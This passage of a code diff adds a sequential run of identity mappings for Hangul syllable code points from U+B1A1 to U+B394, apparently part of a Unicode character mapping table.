+ ["\uB1A1", "\uB1A1"], /* Hangul Syllable */
+ ["\uB1A2", "\uB1A2"], /* Hangul Syllable */
+ ["\uB1A3", "\uB1A3"], /* Hangul Syllable */
+ ["\uB1A4", "\uB1A4"], /* Hangul Syllable */
+ ["\uB1A5", "\uB1A5"], /* Hangul Syllable */
+ ["\uB1A6", "\uB1A6"], /* Hangul Syllable */
+ ["\uB1A7", "\uB1A7"], /* Hangul Syllable */
+ ["\uB1A8", "\uB1A8"], /* Hangul Syllable */
+ ["\uB1A9", "\uB1A9"], /* Hangul Syllable */
+ ["\uB1AA", "\uB1AA"], /* Hangul Syllable */
+ ["\uB1AB", "\uB1AB"], /* Hangul Syllable */
+ ["\uB1AC", "\uB1AC"], /* Hangul Syllable */
+ ["\uB1AD", "\uB1AD"], /* Hangul Syllable */
+ ["\uB1AE", "\uB1AE"], /* Hangul Syllable */
+ ["\uB1AF", "\uB1AF"], /* Hangul Syllable */
+ ["\uB1B0", "\uB1B0"], /* Hangul Syllable */
+ ["\uB1B1", "\uB1B1"], /* Hangul Syllable */
+ ["\uB1B2", "\uB1B2"], /* Hangul Syllable */
+ ["\uB1B3", "\uB1B3"], /* Hangul Syllable */
+ ["\uB1B4", "\uB1B4"], /* Hangul Syllable */
+ ["\uB1B5", "\uB1B5"], /* Hangul Syllable */
+ ["\uB1B6", "\uB1B6"], /* Hangul Syllable */
+ ["\uB1B7", "\uB1B7"], /* Hangul Syllable */
+ ["\uB1B8", "\uB1B8"], /* Hangul Syllable */
+ ["\uB1B9", "\uB1B9"], /* Hangul Syllable */
+ ["\uB1BA", "\uB1BA"], /* Hangul Syllable */
+ ["\uB1BB", "\uB1BB"], /* Hangul Syllable */
+ ["\uB1BC", "\uB1BC"], /* Hangul Syllable */
+ ["\uB1BD", "\uB1BD"], /* Hangul Syllable */
+ ["\uB1BE", "\uB1BE"], /* Hangul Syllable */
+ ["\uB1BF", "\uB1BF"], /* Hangul Syllable */
+ ["\uB1C0", "\uB1C0"], /* Hangul Syllable */
+ ["\uB1C1", "\uB1C1"], /* Hangul Syllable */
+ ["\uB1C2", "\uB1C2"], /* Hangul Syllable */
+ ["\uB1C3", "\uB1C3"], /* Hangul Syllable */
+ ["\uB1C4", "\uB1C4"], /* Hangul Syllable */
+ ["\uB1C5", "\uB1C5"], /* Hangul Syllable */
+ ["\uB1C6", "\uB1C6"], /* Hangul Syllable */
+ ["\uB1C7", "\uB1C7"], /* Hangul Syllable */
+ ["\uB1C8", "\uB1C8"], /* Hangul Syllable */
+ ["\uB1C9", "\uB1C9"], /* Hangul Syllable */
+ ["\uB1CA", "\uB1CA"], /* Hangul Syllable */
+ ["\uB1CB", "\uB1CB"], /* Hangul Syllable */
+ ["\uB1CC", "\uB1CC"], /* Hangul Syllable */
+ ["\uB1CD", "\uB1CD"], /* Hangul Syllable */
+ ["\uB1CE", "\uB1CE"], /* Hangul Syllable */
+ ["\uB1CF", "\uB1CF"], /* Hangul Syllable */
+ ["\uB1D0", "\uB1D0"], /* Hangul Syllable */
+ ["\uB1D1", "\uB1D1"], /* Hangul Syllable */
+ ["\uB1D2", "\uB1D2"], /* Hangul Syllable */
+ ["\uB1D3", "\uB1D3"], /* Hangul Syllable */
+ ["\uB1D4", "\uB1D4"], /* Hangul Syllable */
+ ["\uB1D5", "\uB1D5"], /* Hangul Syllable */
+ ["\uB1D6", "\uB1D6"], /* Hangul Syllable */
+ ["\uB1D7", "\uB1D7"], /* Hangul Syllable */
+ ["\uB1D8", "\uB1D8"], /* Hangul Syllable */
+ ["\uB1D9", "\uB1D9"], /* Hangul Syllable */
+ ["\uB1DA", "\uB1DA"], /* Hangul Syllable */
+ ["\uB1DB", "\uB1DB"], /* Hangul Syllable */
+ ["\uB1DC", "\uB1DC"], /* Hangul Syllable */
+ ["\uB1DD", "\uB1DD"], /* Hangul Syllable */
+ ["\uB1DE", "\uB1DE"], /* Hangul Syllable */
+ ["\uB1DF", "\uB1DF"], /* Hangul Syllable */
+ ["\uB1E0", "\uB1E0"], /* Hangul Syllable */
+ ["\uB1E1", "\uB1E1"], /* Hangul Syllable */
+ ["\uB1E2", "\uB1E2"], /* Hangul Syllable */
+ ["\uB1E3", "\uB1E3"], /* Hangul Syllable */
+ ["\uB1E4", "\uB1E4"], /* Hangul Syllable */
+ ["\uB1E5", "\uB1E5"], /* Hangul Syllable */
+ ["\uB1E6", "\uB1E6"], /* Hangul Syllable */
+ ["\uB1E7", "\uB1E7"], /* Hangul Syllable */
+ ["\uB1E8", "\uB1E8"], /* Hangul Syllable */
+ ["\uB1E9", "\uB1E9"], /* Hangul Syllable */
+ ["\uB1EA", "\uB1EA"], /* Hangul Syllable */
+ ["\uB1EB", "\uB1EB"], /* Hangul Syllable */
+ ["\uB1EC", "\uB1EC"], /* Hangul Syllable */
+ ["\uB1ED", "\uB1ED"], /* Hangul Syllable */
+ ["\uB1EE", "\uB1EE"], /* Hangul Syllable */
+ ["\uB1EF", "\uB1EF"], /* Hangul Syllable */
+ ["\uB1F0", "\uB1F0"], /* Hangul Syllable */
+ ["\uB1F1", "\uB1F1"], /* Hangul Syllable */
+ ["\uB1F2", "\uB1F2"], /* Hangul Syllable */
+ ["\uB1F3", "\uB1F3"], /* Hangul Syllable */
+ ["\uB1F4", "\uB1F4"], /* Hangul Syllable */
+ ["\uB1F5", "\uB1F5"], /* Hangul Syllable */
+ ["\uB1F6", "\uB1F6"], /* Hangul Syllable */
+ ["\uB1F7", "\uB1F7"], /* Hangul Syllable */
+ ["\uB1F8", "\uB1F8"], /* Hangul Syllable */
+ ["\uB1F9", "\uB1F9"], /* Hangul Syllable */
+ ["\uB1FA", "\uB1FA"], /* Hangul Syllable */
+ ["\uB1FB", "\uB1FB"], /* Hangul Syllable */
+ ["\uB1FC", "\uB1FC"], /* Hangul Syllable */
+ ["\uB1FD", "\uB1FD"], /* Hangul Syllable */
+ ["\uB1FE", "\uB1FE"], /* Hangul Syllable */
+ ["\uB1FF", "\uB1FF"], /* Hangul Syllable */
+ ["\uB200", "\uB200"], /* Hangul Syllable */
+ ["\uB201", "\uB201"], /* Hangul Syllable */
+ ["\uB202", "\uB202"], /* Hangul Syllable */
+ ["\uB203", "\uB203"], /* Hangul Syllable */
+ ["\uB204", "\uB204"], /* Hangul Syllable */
+ ["\uB205", "\uB205"], /* Hangul Syllable */
+ ["\uB206", "\uB206"], /* Hangul Syllable */
+ ["\uB207", "\uB207"], /* Hangul Syllable */
+ ["\uB208", "\uB208"], /* Hangul Syllable */
+ ["\uB209", "\uB209"], /* Hangul Syllable */
+ ["\uB20A", "\uB20A"], /* Hangul Syllable */
+ ["\uB20B", "\uB20B"], /* Hangul Syllable */
+ ["\uB20C", "\uB20C"], /* Hangul Syllable */
+ ["\uB20D", "\uB20D"], /* Hangul Syllable */
+ ["\uB20E", "\uB20E"], /* Hangul Syllable */
+ ["\uB20F", "\uB20F"], /* Hangul Syllable */
+ ["\uB210", "\uB210"], /* Hangul Syllable */
+ ["\uB211", "\uB211"], /* Hangul Syllable */
+ ["\uB212", "\uB212"], /* Hangul Syllable */
+ ["\uB213", "\uB213"], /* Hangul Syllable */
+ ["\uB214", "\uB214"], /* Hangul Syllable */
+ ["\uB215", "\uB215"], /* Hangul Syllable */
+ ["\uB216", "\uB216"], /* Hangul Syllable */
+ ["\uB217", "\uB217"], /* Hangul Syllable */
+ ["\uB218", "\uB218"], /* Hangul Syllable */
+ ["\uB219", "\uB219"], /* Hangul Syllable */
+ ["\uB21A", "\uB21A"], /* Hangul Syllable */
+ ["\uB21B", "\uB21B"], /* Hangul Syllable */
+ ["\uB21C", "\uB21C"], /* Hangul Syllable */
+ ["\uB21D", "\uB21D"], /* Hangul Syllable */
+ ["\uB21E", "\uB21E"], /* Hangul Syllable */
+ ["\uB21F", "\uB21F"], /* Hangul Syllable */
+ ["\uB220", "\uB220"], /* Hangul Syllable */
+ ["\uB221", "\uB221"], /* Hangul Syllable */
+ ["\uB222", "\uB222"], /* Hangul Syllable */
+ ["\uB223", "\uB223"], /* Hangul Syllable */
+ ["\uB224", "\uB224"], /* Hangul Syllable */
+ ["\uB225", "\uB225"], /* Hangul Syllable */
+ ["\uB226", "\uB226"], /* Hangul Syllable */
+ ["\uB227", "\uB227"], /* Hangul Syllable */
+ ["\uB228", "\uB228"], /* Hangul Syllable */
+ ["\uB229", "\uB229"], /* Hangul Syllable */
+ ["\uB22A", "\uB22A"], /* Hangul Syllable */
+ ["\uB22B", "\uB22B"], /* Hangul Syllable */
+ ["\uB22C", "\uB22C"], /* Hangul Syllable */
+ ["\uB22D", "\uB22D"], /* Hangul Syllable */
+ ["\uB22E", "\uB22E"], /* Hangul Syllable */
+ ["\uB22F", "\uB22F"], /* Hangul Syllable */
+ ["\uB230", "\uB230"], /* Hangul Syllable */
+ ["\uB231", "\uB231"], /* Hangul Syllable */
+ ["\uB232", "\uB232"], /* Hangul Syllable */
+ ["\uB233", "\uB233"], /* Hangul Syllable */
+ ["\uB234", "\uB234"], /* Hangul Syllable */
+ ["\uB235", "\uB235"], /* Hangul Syllable */
+ ["\uB236", "\uB236"], /* Hangul Syllable */
+ ["\uB237", "\uB237"], /* Hangul Syllable */
+ ["\uB238", "\uB238"], /* Hangul Syllable */
+ ["\uB239", "\uB239"], /* Hangul Syllable */
+ ["\uB23A", "\uB23A"], /* Hangul Syllable */
+ ["\uB23B", "\uB23B"], /* Hangul Syllable */
+ ["\uB23C", "\uB23C"], /* Hangul Syllable */
+ ["\uB23D", "\uB23D"], /* Hangul Syllable */
+ ["\uB23E", "\uB23E"], /* Hangul Syllable */
+ ["\uB23F", "\uB23F"], /* Hangul Syllable */
+ ["\uB240", "\uB240"], /* Hangul Syllable */
+ ["\uB241", "\uB241"], /* Hangul Syllable */
+ ["\uB242", "\uB242"], /* Hangul Syllable */
+ ["\uB243", "\uB243"], /* Hangul Syllable */
+ ["\uB244", "\uB244"], /* Hangul Syllable */
+ ["\uB245", "\uB245"], /* Hangul Syllable */
+ ["\uB246", "\uB246"], /* Hangul Syllable */
+ ["\uB247", "\uB247"], /* Hangul Syllable */
+ ["\uB248", "\uB248"], /* Hangul Syllable */
+ ["\uB249", "\uB249"], /* Hangul Syllable */
+ ["\uB24A", "\uB24A"], /* Hangul Syllable */
+ ["\uB24B", "\uB24B"], /* Hangul Syllable */
+ ["\uB24C", "\uB24C"], /* Hangul Syllable */
+ ["\uB24D", "\uB24D"], /* Hangul Syllable */
+ ["\uB24E", "\uB24E"], /* Hangul Syllable */
+ ["\uB24F", "\uB24F"], /* Hangul Syllable */
+ ["\uB250", "\uB250"], /* Hangul Syllable */
+ ["\uB251", "\uB251"], /* Hangul Syllable */
+ ["\uB252", "\uB252"], /* Hangul Syllable */
+ ["\uB253", "\uB253"], /* Hangul Syllable */
+ ["\uB254", "\uB254"], /* Hangul Syllable */
+ ["\uB255", "\uB255"], /* Hangul Syllable */
+ ["\uB256", "\uB256"], /* Hangul Syllable */
+ ["\uB257", "\uB257"], /* Hangul Syllable */
+ ["\uB258", "\uB258"], /* Hangul Syllable */
+ ["\uB259", "\uB259"], /* Hangul Syllable */
+ ["\uB25A", "\uB25A"], /* Hangul Syllable */
+ ["\uB25B", "\uB25B"], /* Hangul Syllable */
+ ["\uB25C", "\uB25C"], /* Hangul Syllable */
+ ["\uB25D", "\uB25D"], /* Hangul Syllable */
+ ["\uB25E", "\uB25E"], /* Hangul Syllable */
+ ["\uB25F", "\uB25F"], /* Hangul Syllable */
+ ["\uB260", "\uB260"], /* Hangul Syllable */
+ ["\uB261", "\uB261"], /* Hangul Syllable */
+ ["\uB262", "\uB262"], /* Hangul Syllable */
+ ["\uB263", "\uB263"], /* Hangul Syllable */
+ ["\uB264", "\uB264"], /* Hangul Syllable */
+ ["\uB265", "\uB265"], /* Hangul Syllable */
+ ["\uB266", "\uB266"], /* Hangul Syllable */
+ ["\uB267", "\uB267"], /* Hangul Syllable */
+ ["\uB268", "\uB268"], /* Hangul Syllable */
+ ["\uB269", "\uB269"], /* Hangul Syllable */
+ ["\uB26A", "\uB26A"], /* Hangul Syllable */
+ ["\uB26B", "\uB26B"], /* Hangul Syllable */
+ ["\uB26C", "\uB26C"], /* Hangul Syllable */
+ ["\uB26D", "\uB26D"], /* Hangul Syllable */
+ ["\uB26E", "\uB26E"], /* Hangul Syllable */
+ ["\uB26F", "\uB26F"], /* Hangul Syllable */
+ ["\uB270", "\uB270"], /* Hangul Syllable */
+ ["\uB271", "\uB271"], /* Hangul Syllable */
+ ["\uB272", "\uB272"], /* Hangul Syllable */
+ ["\uB273", "\uB273"], /* Hangul Syllable */
+ ["\uB274", "\uB274"], /* Hangul Syllable */
+ ["\uB275", "\uB275"], /* Hangul Syllable */
+ ["\uB276", "\uB276"], /* Hangul Syllable */
+ ["\uB277", "\uB277"], /* Hangul Syllable */
+ ["\uB278", "\uB278"], /* Hangul Syllable */
+ ["\uB279", "\uB279"], /* Hangul Syllable */
+ ["\uB27A", "\uB27A"], /* Hangul Syllable */
+ ["\uB27B", "\uB27B"], /* Hangul Syllable */
+ ["\uB27C", "\uB27C"], /* Hangul Syllable */
+ ["\uB27D", "\uB27D"], /* Hangul Syllable */
+ ["\uB27E", "\uB27E"], /* Hangul Syllable */
+ ["\uB27F", "\uB27F"], /* Hangul Syllable */
+ ["\uB280", "\uB280"], /* Hangul Syllable */
+ ["\uB281", "\uB281"], /* Hangul Syllable */
+ ["\uB282", "\uB282"], /* Hangul Syllable */
+ ["\uB283", "\uB283"], /* Hangul Syllable */
+ ["\uB284", "\uB284"], /* Hangul Syllable */
+ ["\uB285", "\uB285"], /* Hangul Syllable */
+ ["\uB286", "\uB286"], /* Hangul Syllable */
+ ["\uB287", "\uB287"], /* Hangul Syllable */
+ ["\uB288", "\uB288"], /* Hangul Syllable */
+ ["\uB289", "\uB289"], /* Hangul Syllable */
+ ["\uB28A", "\uB28A"], /* Hangul Syllable */
+ ["\uB28B", "\uB28B"], /* Hangul Syllable */
+ ["\uB28C", "\uB28C"], /* Hangul Syllable */
+ ["\uB28D", "\uB28D"], /* Hangul Syllable */
+ ["\uB28E", "\uB28E"], /* Hangul Syllable */
+ ["\uB28F", "\uB28F"], /* Hangul Syllable */
+ ["\uB290", "\uB290"], /* Hangul Syllable */
+ ["\uB291", "\uB291"], /* Hangul Syllable */
+ ["\uB292", "\uB292"], /* Hangul Syllable */
+ ["\uB293", "\uB293"], /* Hangul Syllable */
+ ["\uB294", "\uB294"], /* Hangul Syllable */
+ ["\uB295", "\uB295"], /* Hangul Syllable */
+ ["\uB296", "\uB296"], /* Hangul Syllable */
+ ["\uB297", "\uB297"], /* Hangul Syllable */
+ ["\uB298", "\uB298"], /* Hangul Syllable */
+ ["\uB299", "\uB299"], /* Hangul Syllable */
+ ["\uB29A", "\uB29A"], /* Hangul Syllable */
+ ["\uB29B", "\uB29B"], /* Hangul Syllable */
+ ["\uB29C", "\uB29C"], /* Hangul Syllable */
+ ["\uB29D", "\uB29D"], /* Hangul Syllable */
+ ["\uB29E", "\uB29E"], /* Hangul Syllable */
+ ["\uB29F", "\uB29F"], /* Hangul Syllable */
+ ["\uB2A0", "\uB2A0"], /* Hangul Syllable */
+ ["\uB2A1", "\uB2A1"], /* Hangul Syllable */
+ ["\uB2A2", "\uB2A2"], /* Hangul Syllable */
+ ["\uB2A3", "\uB2A3"], /* Hangul Syllable */
+ ["\uB2A4", "\uB2A4"], /* Hangul Syllable */
+ ["\uB2A5", "\uB2A5"], /* Hangul Syllable */
+ ["\uB2A6", "\uB2A6"], /* Hangul Syllable */
+ ["\uB2A7", "\uB2A7"], /* Hangul Syllable */
+ ["\uB2A8", "\uB2A8"], /* Hangul Syllable */
+ ["\uB2A9", "\uB2A9"], /* Hangul Syllable */
+ ["\uB2AA", "\uB2AA"], /* Hangul Syllable */
+ ["\uB2AB", "\uB2AB"], /* Hangul Syllable */
+ ["\uB2AC", "\uB2AC"], /* Hangul Syllable */
+ ["\uB2AD", "\uB2AD"], /* Hangul Syllable */
+ ["\uB2AE", "\uB2AE"], /* Hangul Syllable */
+ ["\uB2AF", "\uB2AF"], /* Hangul Syllable */
+ ["\uB2B0", "\uB2B0"], /* Hangul Syllable */
+ ["\uB2B1", "\uB2B1"], /* Hangul Syllable */
+ ["\uB2B2", "\uB2B2"], /* Hangul Syllable */
+ ["\uB2B3", "\uB2B3"], /* Hangul Syllable */
+ ["\uB2B4", "\uB2B4"], /* Hangul Syllable */
+ ["\uB2B5", "\uB2B5"], /* Hangul Syllable */
+ ["\uB2B6", "\uB2B6"], /* Hangul Syllable */
+ ["\uB2B7", "\uB2B7"], /* Hangul Syllable */
+ ["\uB2B8", "\uB2B8"], /* Hangul Syllable */
+ ["\uB2B9", "\uB2B9"], /* Hangul Syllable */
+ ["\uB2BA", "\uB2BA"], /* Hangul Syllable */
+ ["\uB2BB", "\uB2BB"], /* Hangul Syllable */
+ ["\uB2BC", "\uB2BC"], /* Hangul Syllable */
+ ["\uB2BD", "\uB2BD"], /* Hangul Syllable */
+ ["\uB2BE", "\uB2BE"], /* Hangul Syllable */
+ ["\uB2BF", "\uB2BF"], /* Hangul Syllable */
+ ["\uB2C0", "\uB2C0"], /* Hangul Syllable */
+ ["\uB2C1", "\uB2C1"], /* Hangul Syllable */
+ ["\uB2C2", "\uB2C2"], /* Hangul Syllable */
+ ["\uB2C3", "\uB2C3"], /* Hangul Syllable */
+ ["\uB2C4", "\uB2C4"], /* Hangul Syllable */
+ ["\uB2C5", "\uB2C5"], /* Hangul Syllable */
+ ["\uB2C6", "\uB2C6"], /* Hangul Syllable */
+ ["\uB2C7", "\uB2C7"], /* Hangul Syllable */
+ ["\uB2C8", "\uB2C8"], /* Hangul Syllable */
+ ["\uB2C9", "\uB2C9"], /* Hangul Syllable */
+ ["\uB2CA", "\uB2CA"], /* Hangul Syllable */
+ ["\uB2CB", "\uB2CB"], /* Hangul Syllable */
+ ["\uB2CC", "\uB2CC"], /* Hangul Syllable */
+ ["\uB2CD", "\uB2CD"], /* Hangul Syllable */
+ ["\uB2CE", "\uB2CE"], /* Hangul Syllable */
+ ["\uB2CF", "\uB2CF"], /* Hangul Syllable */
+ ["\uB2D0", "\uB2D0"], /* Hangul Syllable */
+ ["\uB2D1", "\uB2D1"], /* Hangul Syllable */
+ ["\uB2D2", "\uB2D2"], /* Hangul Syllable */
+ ["\uB2D3", "\uB2D3"], /* Hangul Syllable */
+ ["\uB2D4", "\uB2D4"], /* Hangul Syllable */
+ ["\uB2D5", "\uB2D5"], /* Hangul Syllable */
+ ["\uB2D6", "\uB2D6"], /* Hangul Syllable */
+ ["\uB2D7", "\uB2D7"], /* Hangul Syllable */
+ ["\uB2D8", "\uB2D8"], /* Hangul Syllable */
+ ["\uB2D9", "\uB2D9"], /* Hangul Syllable */
+ ["\uB2DA", "\uB2DA"], /* Hangul Syllable */
+ ["\uB2DB", "\uB2DB"], /* Hangul Syllable */
+ ["\uB2DC", "\uB2DC"], /* Hangul Syllable */
+ ["\uB2DD", "\uB2DD"], /* Hangul Syllable */
+ ["\uB2DE", "\uB2DE"], /* Hangul Syllable */
+ ["\uB2DF", "\uB2DF"], /* Hangul Syllable */
+ ["\uB2E0", "\uB2E0"], /* Hangul Syllable */
+ ["\uB2E1", "\uB2E1"], /* Hangul Syllable */
+ ["\uB2E2", "\uB2E2"], /* Hangul Syllable */
+ ["\uB2E3", "\uB2E3"], /* Hangul Syllable */
+ ["\uB2E4", "\uB2E4"], /* Hangul Syllable */
+ ["\uB2E5", "\uB2E5"], /* Hangul Syllable */
+ ["\uB2E6", "\uB2E6"], /* Hangul Syllable */
+ ["\uB2E7", "\uB2E7"], /* Hangul Syllable */
+ ["\uB2E8", "\uB2E8"], /* Hangul Syllable */
+ ["\uB2E9", "\uB2E9"], /* Hangul Syllable */
+ ["\uB2EA", "\uB2EA"], /* Hangul Syllable */
+ ["\uB2EB", "\uB2EB"], /* Hangul Syllable */
+ ["\uB2EC", "\uB2EC"], /* Hangul Syllable */
+ ["\uB2ED", "\uB2ED"], /* Hangul Syllable */
+ ["\uB2EE", "\uB2EE"], /* Hangul Syllable */
+ ["\uB2EF", "\uB2EF"], /* Hangul Syllable */
+ ["\uB2F0", "\uB2F0"], /* Hangul Syllable */
+ ["\uB2F1", "\uB2F1"], /* Hangul Syllable */
+ ["\uB2F2", "\uB2F2"], /* Hangul Syllable */
+ ["\uB2F3", "\uB2F3"], /* Hangul Syllable */
+ ["\uB2F4", "\uB2F4"], /* Hangul Syllable */
+ ["\uB2F5", "\uB2F5"], /* Hangul Syllable */
+ ["\uB2F6", "\uB2F6"], /* Hangul Syllable */
+ ["\uB2F7", "\uB2F7"], /* Hangul Syllable */
+ ["\uB2F8", "\uB2F8"], /* Hangul Syllable */
+ ["\uB2F9", "\uB2F9"], /* Hangul Syllable */
+ ["\uB2FA", "\uB2FA"], /* Hangul Syllable */
+ ["\uB2FB", "\uB2FB"], /* Hangul Syllable */
+ ["\uB2FC", "\uB2FC"], /* Hangul Syllable */
+ ["\uB2FD", "\uB2FD"], /* Hangul Syllable */
+ ["\uB2FE", "\uB2FE"], /* Hangul Syllable */
+ ["\uB2FF", "\uB2FF"], /* Hangul Syllable */
+ ["\uB300", "\uB300"], /* Hangul Syllable */
+ ["\uB301", "\uB301"], /* Hangul Syllable */
+ ["\uB302", "\uB302"], /* Hangul Syllable */
+ ["\uB303", "\uB303"], /* Hangul Syllable */
+ ["\uB304", "\uB304"], /* Hangul Syllable */
+ ["\uB305", "\uB305"], /* Hangul Syllable */
+ ["\uB306", "\uB306"], /* Hangul Syllable */
+ ["\uB307", "\uB307"], /* Hangul Syllable */
+ ["\uB308", "\uB308"], /* Hangul Syllable */
+ ["\uB309", "\uB309"], /* Hangul Syllable */
+ ["\uB30A", "\uB30A"], /* Hangul Syllable */
+ ["\uB30B", "\uB30B"], /* Hangul Syllable */
+ ["\uB30C", "\uB30C"], /* Hangul Syllable */
+ ["\uB30D", "\uB30D"], /* Hangul Syllable */
+ ["\uB30E", "\uB30E"], /* Hangul Syllable */
+ ["\uB30F", "\uB30F"], /* Hangul Syllable */
+ ["\uB310", "\uB310"], /* Hangul Syllable */
+ ["\uB311", "\uB311"], /* Hangul Syllable */
+ ["\uB312", "\uB312"], /* Hangul Syllable */
+ ["\uB313", "\uB313"], /* Hangul Syllable */
+ ["\uB314", "\uB314"], /* Hangul Syllable */
+ ["\uB315", "\uB315"], /* Hangul Syllable */
+ ["\uB316", "\uB316"], /* Hangul Syllable */
+ ["\uB317", "\uB317"], /* Hangul Syllable */
+ ["\uB318", "\uB318"], /* Hangul Syllable */
+ ["\uB319", "\uB319"], /* Hangul Syllable */
+ ["\uB31A", "\uB31A"], /* Hangul Syllable */
+ ["\uB31B", "\uB31B"], /* Hangul Syllable */
+ ["\uB31C", "\uB31C"], /* Hangul Syllable */
+ ["\uB31D", "\uB31D"], /* Hangul Syllable */
+ ["\uB31E", "\uB31E"], /* Hangul Syllable */
+ ["\uB31F", "\uB31F"], /* Hangul Syllable */
+ ["\uB320", "\uB320"], /* Hangul Syllable */
+ ["\uB321", "\uB321"], /* Hangul Syllable */
+ ["\uB322", "\uB322"], /* Hangul Syllable */
+ ["\uB323", "\uB323"], /* Hangul Syllable */
+ ["\uB324", "\uB324"], /* Hangul Syllable */
+ ["\uB325", "\uB325"], /* Hangul Syllable */
+ ["\uB326", "\uB326"], /* Hangul Syllable */
+ ["\uB327", "\uB327"], /* Hangul Syllable */
+ ["\uB328", "\uB328"], /* Hangul Syllable */
+ ["\uB329", "\uB329"], /* Hangul Syllable */
+ ["\uB32A", "\uB32A"], /* Hangul Syllable */
+ ["\uB32B", "\uB32B"], /* Hangul Syllable */
+ ["\uB32C", "\uB32C"], /* Hangul Syllable */
+ ["\uB32D", "\uB32D"], /* Hangul Syllable */
+ ["\uB32E", "\uB32E"], /* Hangul Syllable */
+ ["\uB32F", "\uB32F"], /* Hangul Syllable */
+ ["\uB330", "\uB330"], /* Hangul Syllable */
+ ["\uB331", "\uB331"], /* Hangul Syllable */
+ ["\uB332", "\uB332"], /* Hangul Syllable */
+ ["\uB333", "\uB333"], /* Hangul Syllable */
+ ["\uB334", "\uB334"], /* Hangul Syllable */
+ ["\uB335", "\uB335"], /* Hangul Syllable */
+ ["\uB336", "\uB336"], /* Hangul Syllable */
+ ["\uB337", "\uB337"], /* Hangul Syllable */
+ ["\uB338", "\uB338"], /* Hangul Syllable */
+ ["\uB339", "\uB339"], /* Hangul Syllable */
+ ["\uB33A", "\uB33A"], /* Hangul Syllable */
+ ["\uB33B", "\uB33B"], /* Hangul Syllable */
+ ["\uB33C", "\uB33C"], /* Hangul Syllable */
+ ["\uB33D", "\uB33D"], /* Hangul Syllable */
+ ["\uB33E", "\uB33E"], /* Hangul Syllable */
+ ["\uB33F", "\uB33F"], /* Hangul Syllable */
+ ["\uB340", "\uB340"], /* Hangul Syllable */
+ ["\uB341", "\uB341"], /* Hangul Syllable */
+ ["\uB342", "\uB342"], /* Hangul Syllable */
+ ["\uB343", "\uB343"], /* Hangul Syllable */
+ ["\uB344", "\uB344"], /* Hangul Syllable */
+ ["\uB345", "\uB345"], /* Hangul Syllable */
+ ["\uB346", "\uB346"], /* Hangul Syllable */
+ ["\uB347", "\uB347"], /* Hangul Syllable */
+ ["\uB348", "\uB348"], /* Hangul Syllable */
+ ["\uB349", "\uB349"], /* Hangul Syllable */
+ ["\uB34A", "\uB34A"], /* Hangul Syllable */
+ ["\uB34B", "\uB34B"], /* Hangul Syllable */
+ ["\uB34C", "\uB34C"], /* Hangul Syllable */
+ ["\uB34D", "\uB34D"], /* Hangul Syllable */
+ ["\uB34E", "\uB34E"], /* Hangul Syllable */
+ ["\uB34F", "\uB34F"], /* Hangul Syllable */
+ ["\uB350", "\uB350"], /* Hangul Syllable */
+ ["\uB351", "\uB351"], /* Hangul Syllable */
+ ["\uB352", "\uB352"], /* Hangul Syllable */
+ ["\uB353", "\uB353"], /* Hangul Syllable */
+ ["\uB354", "\uB354"], /* Hangul Syllable */
+ ["\uB355", "\uB355"], /* Hangul Syllable */
+ ["\uB356", "\uB356"], /* Hangul Syllable */
+ ["\uB357", "\uB357"], /* Hangul Syllable */
+ ["\uB358", "\uB358"], /* Hangul Syllable */
+ ["\uB359", "\uB359"], /* Hangul Syllable */
+ ["\uB35A", "\uB35A"], /* Hangul Syllable */
+ ["\uB35B", "\uB35B"], /* Hangul Syllable */
+ ["\uB35C", "\uB35C"], /* Hangul Syllable */
+ ["\uB35D", "\uB35D"], /* Hangul Syllable */
+ ["\uB35E", "\uB35E"], /* Hangul Syllable */
+ ["\uB35F", "\uB35F"], /* Hangul Syllable */
+ ["\uB360", "\uB360"], /* Hangul Syllable */
+ ["\uB361", "\uB361"], /* Hangul Syllable */
+ ["\uB362", "\uB362"], /* Hangul Syllable */
+ ["\uB363", "\uB363"], /* Hangul Syllable */
+ ["\uB364", "\uB364"], /* Hangul Syllable */
+ ["\uB365", "\uB365"], /* Hangul Syllable */
+ ["\uB366", "\uB366"], /* Hangul Syllable */
+ ["\uB367", "\uB367"], /* Hangul Syllable */
+ ["\uB368", "\uB368"], /* Hangul Syllable */
+ ["\uB369", "\uB369"], /* Hangul Syllable */
+ ["\uB36A", "\uB36A"], /* Hangul Syllable */
+ ["\uB36B", "\uB36B"], /* Hangul Syllable */
+ ["\uB36C", "\uB36C"], /* Hangul Syllable */
+ ["\uB36D", "\uB36D"], /* Hangul Syllable */
+ ["\uB36E", "\uB36E"], /* Hangul Syllable */
+ ["\uB36F", "\uB36F"], /* Hangul Syllable */
+ ["\uB370", "\uB370"], /* Hangul Syllable */
+ ["\uB371", "\uB371"], /* Hangul Syllable */
+ ["\uB372", "\uB372"], /* Hangul Syllable */
+ ["\uB373", "\uB373"], /* Hangul Syllable */
+ ["\uB374", "\uB374"], /* Hangul Syllable */
+ ["\uB375", "\uB375"], /* Hangul Syllable */
+ ["\uB376", "\uB376"], /* Hangul Syllable */
+ ["\uB377", "\uB377"], /* Hangul Syllable */
+ ["\uB378", "\uB378"], /* Hangul Syllable */
+ ["\uB379", "\uB379"], /* Hangul Syllable */
+ ["\uB37A", "\uB37A"], /* Hangul Syllable */
+ ["\uB37B", "\uB37B"], /* Hangul Syllable */
+ ["\uB37C", "\uB37C"], /* Hangul Syllable */
+ ["\uB37D", "\uB37D"], /* Hangul Syllable */
+ ["\uB37E", "\uB37E"], /* Hangul Syllable */
+ ["\uB37F", "\uB37F"], /* Hangul Syllable */
+ ["\uB380", "\uB380"], /* Hangul Syllable */
+ ["\uB381", "\uB381"], /* Hangul Syllable */
+ ["\uB382", "\uB382"], /* Hangul Syllable */
+ ["\uB383", "\uB383"], /* Hangul Syllable */
+ ["\uB384", "\uB384"], /* Hangul Syllable */
+ ["\uB385", "\uB385"], /* Hangul Syllable */
+ ["\uB386", "\uB386"], /* Hangul Syllable */
+ ["\uB387", "\uB387"], /* Hangul Syllable */
+ ["\uB388", "\uB388"], /* Hangul Syllable */
+ ["\uB389", "\uB389"], /* Hangul Syllable */
+ ["\uB38A", "\uB38A"], /* Hangul Syllable */
+ ["\uB38B", "\uB38B"], /* Hangul Syllable */
+ ["\uB38C", "\uB38C"], /* Hangul Syllable */
+ ["\uB38D", "\uB38D"], /* Hangul Syllable */
+ ["\uB38E", "\uB38E"], /* Hangul Syllable */
+ ["\uB38F", "\uB38F"], /* Hangul Syllable */
+ ["\uB390", "\uB390"], /* Hangul Syllable */
+ ["\uB391", "\uB391"], /* Hangul Syllable */
+ ["\uB392", "\uB392"], /* Hangul Syllable */
+ ["\uB393", "\uB393"], /* Hangul Syllable */
+ ["\uB394", "\uB394"], /* Hangul Syllable */
